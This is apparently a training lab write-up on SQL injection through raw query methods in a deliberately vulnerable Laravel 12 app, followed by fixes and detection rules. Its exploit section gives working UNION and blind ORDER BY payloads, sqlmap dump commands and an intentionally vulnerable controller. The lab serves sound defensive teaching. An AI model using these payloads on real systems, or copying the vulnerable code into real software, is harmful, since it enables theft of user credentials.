The ORM Didn't Save You:
SQL Injection Through Raw Query Builder Methods in Laravel 12

Notes for this lab

Update the repo for this lab if you haven't already:

# fetch latest changes
git fetch origin

# update code base
git pull
  

Where This Fits in the Kill Chain

SQL injection is the data exfiltration engine of the ArtisanBreach attack surface. It doesn't need a login. It doesn't need an admin panel. It needs a single public-facing endpoint where the developer wrote raw SQL to save a few minutes. Once the attacker dumps the users table, they have every email and bcrypt hash in the database, an alternate path to credentials that doesn't require the .env file at all. From there: password cracking, account takeover, lateral movement to admin panels, and the full kill chain unfolds.

Vulnerability Classification

How Eloquent Protects You, And How You Walk Around It

Laravel's query builder is built on PDO parameter binding. Every value passed into a where(), orWhere(), or orderBy() clause is automatically treated as a data value, not as SQL syntax. This means single quotes, semicolons, and UNION SELECT keywords are data, they're stored and compared, never executed.

// SAFE: parameter binding
$posts = DB::table('posts')
    ->where('status', 'published')
    ->where('title', 'like', "%{$q}%")
    ->orderBy($allowedSort, $allowedOrder)
    ->limit(10)
    ->get();

// PDO prepares:
// SELECT * FROM posts WHERE status = ?
// AND title LIKE ? ORDER BY created_at DESC
// The attacker's payload is DATA, not syntax.

// VULNERABLE: string interpolation
$query = "SELECT * FROM posts "
    . "WHERE status = 'published' "
    . "AND title LIKE '%{$q}%' "
    . "ORDER BY {$sort} {$order} "
    . "LIMIT 10";

$posts = DB::select($query);

// SQL sent to database:
// SELECT * FROM posts WHERE status =
// 'published' AND title LIKE '%' UNION
// SELECT email,password FROM users-- %'
// The attacker just rewrote the query.

The fundamental difference isn't the database engine. It's not the PHP version. It's not the framework. It's whether a string comes from the user and reaches the SQL parser as syntax instead of as bound data. The moment you concatenate $request->q into a string and pass that string to DB::select(), you have undone every protection Eloquent provides. The ORM didn't fail. You stopped using it.

The Six Escape Hatches Laravel Gives You

Every one of these methods accepts a raw string. Every one of them trusts that you handled the escaping, because the framework can't do it for you once you're past the query builder boundary:

Three Ways This Ends Up in Your Laravel 12 App

Nobody sets out to write a SQL injection. It happens because raw queries feel faster, more familiar, or necessary to meet a deadline. The query builder is "too slow to learn right now." The Eloquent relationship is "overkill for a simple search." The ticket says DONE by Friday. So the developer opens the escape hatch, writes the SQL they already know, and ships it.

"This JSON endpoint ships tomorrow, I'll refactor next sprint"

A new AJAX autocomplete widget on the public blog needs a fast JSON endpoint. The developer prototypes it with DB::select() because they already had the SQL from Sequel Pro. It works. It passes QA. The ticket closes. Three months later, an intern makes the sort parameter dynamic "for the admin table component" and adds {$request->sort} directly into the ORDER BY clause. The original author left the company. The refactor ticket sits in the "tech debt" column with 47 other items. The endpoint handles 4,000 requests per day from unauthenticated visitors.

// Written Friday at 4:47 PM. The refactor ticket (#1498) is still open.
$query = "SELECT id, title, slug, created_at FROM posts "
    . "WHERE status = 'published' AND title LIKE '%{$q}%' "
    . "ORDER BY {$sort} {$order} LIMIT 10";
return response()->json(['posts' => DB::select($query)]);

The Stack Overflow Answer with 900 Upvotes

A developer needs a complex reporting query with three joins, a subquery, and a pivot. Eloquent can express it, but it takes 15 lines and two whereHas() clauses. They Google "laravel complex query," find a 2019 Stack Overflow answer with DB::select("SELECT ... FROM ... WHERE name = '{$request->search}'"), copy-paste it, and move on. The answer has 900 upvotes and no mention of SQL injection because the question was about query structure, not security. The developer never learned that DB::select() is a raw method because nobody told them it wasn't the query builder. It says DB::. It's in the same namespace. How would they know?

// Stack Overflow, 2019. 900 upvotes. 0 security warnings.
$report = DB::select("
    SELECT u.name, COUNT(p.id) as post_count
    FROM users u
    JOIN posts p ON p.user_id = u.id
    WHERE u.name LIKE '%{$request->search}%'
    GROUP BY u.id
    ORDER BY post_count DESC
");

The ORDER BY trap: dynamic sorting from the frontend

DataTables, Tabulator, AG Grid, every JavaScript table library sends column names and sort directions as query parameters. The backend maps them to SQL ORDER BY clauses. If the developer uses orderByRaw("{$request->sort} {$request->order}") without a whitelist, the attacker controls not just ?-bound values but the column names themselves. Column names can't be bound. This isn't a framework bug. It's a SQL design constraint that every backend developer eventually trips over.

// Frontend DataTable sends: ?sort=id&order=ASC
// Attacker sends:       ?sort=(CASE WHEN ...)&order=
//
// ORDER BY can't be parameterised. You MUST whitelist.
$results = Post::orderByRaw("{$request->sort} {$request->order}")->get();

// Safe version:
$allowed = ['id', 'title', 'created_at', 'status'];
$sort = in_array($request->sort, $allowed) ? $request->sort : 'created_at';
$order = $request->order === 'ASC' ? 'ASC' : 'DESC';
$results = Post::orderBy($sort, $order)->get();

The Vulnerable Code in ArtisanBreach

This is the actual endpoint running right now. Unauthenticated. Public-facing. Written during a sprint to ship the AJAX blog search widget (ticket #1337):

1. The route (no auth, no middleware)

// routes/api.php
Route::get('/posts/search', \App\Http\Controllers\Api\PostSearchController::class);

// Notice: no middleware. No 'auth:sanctum'. No rate limiting.
// This endpoint answers to anyone with the URL.

2. The controller (verified, live in the repo)

// app/Http/Controllers/Api/PostSearchController.php
// This is the ACTUAL code. Not a recreation.

public function __invoke(Request $request): \Illuminate\Http\JsonResponse
{
    $q     = $request->query('q', '');
    $sort  = $request->query('sort', 'created_at');
    $order = strtoupper($request->query('order', 'DESC'));

    // Three unbounded variables concatenated into raw SQL.
    // $q    → WHERE clause     → string interpolation, no escaping
    // $sort → ORDER BY column   → unvalidated column name
    // $order → ORDER BY direction → unvalidated keyword
    $query = "SELECT id, title, slug, meta_description, post_content, status, created_at "
        . "FROM posts "
        . "WHERE status = 'published' "
        . "AND title LIKE '%{$q}%' "
        . "ORDER BY {$sort} {$order} "
        . "LIMIT 10";

    $results = DB::select($query);

    return response()->json([
        'query' => $q,
        'count' => count($results),
        'posts' => $results,
    ]);
}

3. Prove it in tinker (run this yourself)

// php artisan tinker

$q = "doesntexist' UNION SELECT 1,2,email,4,password,6,7 FROM users-- ";

$query = "SELECT id, title, slug, meta_description, post_content, status, created_at "
    . "FROM posts "
    . "WHERE status = 'published' "
    . "AND title LIKE '%{$q}%' "
    . "ORDER BY created_at DESC "
    . "LIMIT 10";

echo $query;
// SELECT id, title, slug, meta_description, post_content, status, created_at
// FROM posts
// WHERE status = 'published'
// AND title LIKE '%doesntexist' UNION SELECT 1,2,email,4,password,6,7 FROM users-- %'
// ORDER BY created_at DESC
//                     ^^^^^^^^^^^ UNION injection appends a second SELECT
// LIMIT 10
//
// The -- comments out everything after it. The attacker's query runs.
// The original WHERE and ORDER BY clauses are dead.

The Attack: Database Exfiltration in Three Requests

Exploit: Manual UNION injection

# Step 1: Determine the number of columns (the original SELECT has 7)
curl -s "http://localhost:8084/api/posts/search?q=%27+UNION+SELECT+1,2,3,4,5,6,7--+-"
# ← Works (7 columns confirmed). If it returned an error, try 6, then 8.

# Step 2: Find which columns appear in the JSON output
curl -s "http://localhost:8084/api/posts/search?q=%27+UNION+SELECT+%27col1%27,%27col2%27,%27col3%27,%27col4%27,%27col5%27,%27col6%27,%27col7%27--+-" | python3 -m json.tool
# Look for 'col1', 'col2', etc. in the JSON response to identify
# which column positions render back. These are your extraction slots.

# Step 3: Dump the users table
curl -s "http://localhost:8084/api/posts/search?q=%27+UNION+SELECT+1,email,%27---%27,4,password,6,7+FROM+users--+-" | python3 -m json.tool
# Returns:
# {
#   "query": "' UNION SELECT 1,email,'---',4,password,6,7 FROM users-- -",
#   "count": 8,
#   "posts": [
#     { "title": "admin@artisanbreach.com",
#       "slug": "---",
#       "post_content": "$2y$12$...bcrypt hash..." },
#     ...
#   ]
# }

Exploit: SQLMap (automated, every table in 90 seconds)

# Basic enumeration
sqlmap -u "http://localhost:8084/api/posts/search?q=test" --batch

# Dump all tables
sqlmap -u "http://localhost:8084/api/posts/search?q=test" --dump-all --batch

# Target the users table specifically
sqlmap -u "http://localhost:8084/api/posts/search?q=test" \
  -T users --dump --batch

# Output:
# +----+-----------------------------+----------+----------------------------------+
# | id | email                       | name     | password                         |
# +----+-----------------------------+----------+----------------------------------+
# | 1  | admin@artisanbreach.com      | Admin    | $2y$12$...bcrypt...              |
# | 2  | contributor@artisanbreach.com| Sarah    | $2y$12$...bcrypt...              |
# ... every user account in the database, extracted in under two minutes

The ORDER BY vector (column name, cannot be parameterised)

# The sort parameter goes directly into the ORDER BY clause.
# Column names cannot be bound in SQL. No escaping possible.
# Validating with a whitelist is the ONLY defence.

# Blind extraction via ORDER BY CASE WHEN
curl -s "http://localhost:8084/api/posts/search?q=test&sort=(CASE+WHEN+(SELECT+SUBSTRING(password,1,1)+FROM+users+WHERE+id=1)=%27%24%27+THEN+id+ELSE+title+END)--+-" | python3 -m json.tool

# If the first character of the admin's bcrypt hash is '$', sort by id.
# Otherwise sort by title. Compare result order to infer characters.
# This is slow but works when the error messages are suppressed.

What You Just Lost

The Fix

Fix 1: Port to the Eloquent query builder

// The query builder handles parameter binding automatically.
// No raw strings. No escape hatches. No vulnerability.
public function __invoke(Request $request): JsonResponse
{
    $q = $request->query('q', '');

    // Whitelist: ORDER BY column. Non-negotiable. Column names cannot be bound.
    $allowedSorts = ['id', 'title', 'created_at', 'status'];
    $sort = in_array($request->query('sort'), $allowedSorts)
        ? $request->query('sort')
        : 'created_at';

    // Guard: ORDER BY direction. Must be ASC or DESC, nothing else.
    $order = strtoupper($request->query('order', 'DESC'));
    $order = in_array($order, ['ASC', 'DESC']) ? $order : 'DESC';

    $posts = DB::table('posts')
        ->select('id', 'title', 'slug', 'meta_description', 'post_content', 'status', 'created_at')
        ->where('status', 'published')
        ->where('title', 'like', "%{$q}%")   // ← bound as PDO parameter
        ->orderBy($sort, $order)              // ← whitelist + backtick-quoted
        ->limit(10)
        ->get();

    return response()->json([
        'query' => $q,
        'count' => $posts->count(),
        'posts' => $posts,
    ]);
}

Fix 2: Named parameter binding in DB::select()

// DB::select() accepts a second argument: an array of bound parameters.
// This is safe because PDO handles the escaping at the protocol level.
$posts = DB::select(
    "SELECT id, title, slug, meta_description, post_content, status, created_at
     FROM posts
     WHERE status = :status
       AND title LIKE :search
     ORDER BY created_at DESC
     LIMIT 10",
    [
        'status' => 'published',
        'search' => "%{$q}%",       // ← bound, never parsed as SQL
    ]
);
// Note: ORDER BY column still cannot be bound. Keep the whitelist.

Fix 3: Database user with least privilege

-- The application database user should only have the permissions it needs.
-- A public search endpoint should never have SELECT on the users table.
CREATE USER 'app_search'@'%' IDENTIFIED BY '...';
GRANT SELECT ON dvla.posts TO 'app_search'@'%';
-- No access to users, sessions, contacts, or any other table.
-- If SQL injection occurs, the blast radius is limited to published posts.

Finding It Before Someone Else Does

1. Grep for raw SQL methods with concatenation operators

# Find every DB::select(), DB::raw(), whereRaw(), orderByRaw(), havingRaw()
# that uses string concatenation or interpolation
grep -rn 'DB::select\|DB::raw\|whereRaw\|orderByRaw\|havingRaw' app/ \
  | grep -E '\.\s*\$\w+|\.=\s*\$\w+|\{\$'

# Every match is a candidate. Check whether the variables are
# request input or validated/whitelisted before use.

2. SQLMap automated testing (CI pipeline)

# Run SQLMap against the API endpoint in CI.
# This catches injection vectors before they reach production.
sqlmap -u "http://localhost:8084/api/posts/search?q=test" \
  --batch --level=3 --risk=2 \
  --smart \
  --flush-session

3. Semgrep custom rule for the most common pattern

rules:
  - id: laravel-raw-sql-concatenation
    patterns:
      - pattern-either:
          - pattern: DB::select("..." . $X)
          - pattern: DB::raw("..." . $X)
          - pattern: $QUERY->whereRaw("..." . $X)
          - pattern: $QUERY->orderByRaw("..." . $X)
    message: |
      Raw SQL with string concatenation detected.
      Use parameter binding or the Eloquent query builder instead.
    severity: ERROR
    languages: [php]

Lock It Out of CI/CD

# .github/workflows/sql-injection.yml
name: SQL Injection Scan

on: [pull_request]

jobs:
  sqlmap:
    runs-on: ubuntu-latest
    services:
      app:
        image: dvla-test
        ports:
          - 8084:80
    steps:
      - uses: actions/checkout@v4
      - name: Run SQLMap against all API endpoints
        run: |
          # Extract all GET routes from route:list, test each one
          php artisan route:list --json | \
            jq -r '.[] | select(.method == "GET|HEAD" and .uri | startswith("api/")) | .uri' | \
            while read route; do
              sqlmap -u "http://localhost:8084/$route?q=test" \
                --batch --level=2 --risk=1 --smart || exit 1
            done

Remediation Checklist

The Bottom Line

Eloquent does what it's supposed to do. Parameter binding works. The problem is that Laravel also gives you six ways to skip it: DB::select, DB::raw, whereRaw, orderByRaw, havingRaw, DB::statement, and every one of them trusts you to handle the escaping yourself. They're not bugs. They exist for good reasons: reporting queries, vendor-specific SQL, raw performance when the query builder chokes. But if you pass user input into any of them without binding, you've got SQL injection. Period.

None of this is complicated. It's one rule:

If user input reaches a SQL string through concatenation instead of parameter binding, you have SQL injection. It doesn't matter what ORM you're using. It doesn't matter what framework version. It doesn't matter that the other 19 endpoints use Eloquent correctly. One concatenated variable in one endpoint is enough. Use parameter binding for every value. Whitelist every column name. There is no third option.

The developer who shipped this endpoint wasn't an idiot. They were under a deadline, they already had the SQL written out from their database client, and DB::select() was right there in the same DB namespace as the query builder they'd been using all week. Nobody told them it was raw. And once it shipped and the widget worked, nobody went back to check. That's how most of these get in. Not malice. Not negligence. Just a Friday afternoon, a working prototype, and a ticket that moved to Done a little too fast.